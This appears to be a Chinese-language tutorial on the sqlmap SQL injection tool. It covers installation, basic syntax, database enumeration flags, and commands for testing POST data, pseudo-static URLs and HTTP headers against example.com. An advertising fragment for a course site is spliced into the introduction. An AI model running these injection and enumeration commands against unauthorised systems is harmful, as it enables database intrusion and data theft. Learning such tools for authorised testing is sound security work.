SQLMAP从入门到精通
SQLMAP从入门到精通:全面掌握自动化SQL注入工具
一、SQLMAP基础入门
1.1 SQLMAP简介
SQLMAP是一款开源的自动化SQL注入工具,“获课”由Python语言编写,itxt.top/2856/ 支持多种数据库管理系统(MySQL、Oracle、PostgreSQL等),能够自动检测和利用SQL注入漏洞。
1.2 环境准备
bash
复制
# 安装Python环境(需3.6+版本) sudo apt install python3 python3-pip # 下载SQLMAP git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git # 安装依赖库 pip3 install -r sqlmap/requirements.txt
1.3 基本使用语法
bash
复制
python sqlmap.py -u "http://example.com/page.php?id=1" --batch
常用参数说明:
-
-u
:指定目标URL -
--batch
:使用默认选项自动执行 -
--dbs
:枚举数据库 -
--tables
:枚举数据表 -
--columns
:枚举字段
二、中级技巧提升
2.1 高级探测技术
伪静态页面测试:
bash
复制
python sqlmap.py -u "http://example.com/news/1*.html" --parse-errors
POST请求测试:
bash
复制
python sqlmap.py -u "http://example.com/login" --data="username=admin&password=123"
HTTP头注入:
bash
复制
python sqlmap.py -u "http://example.com" --headers="X-Forwarded-For:127.0.0.1*" --level=3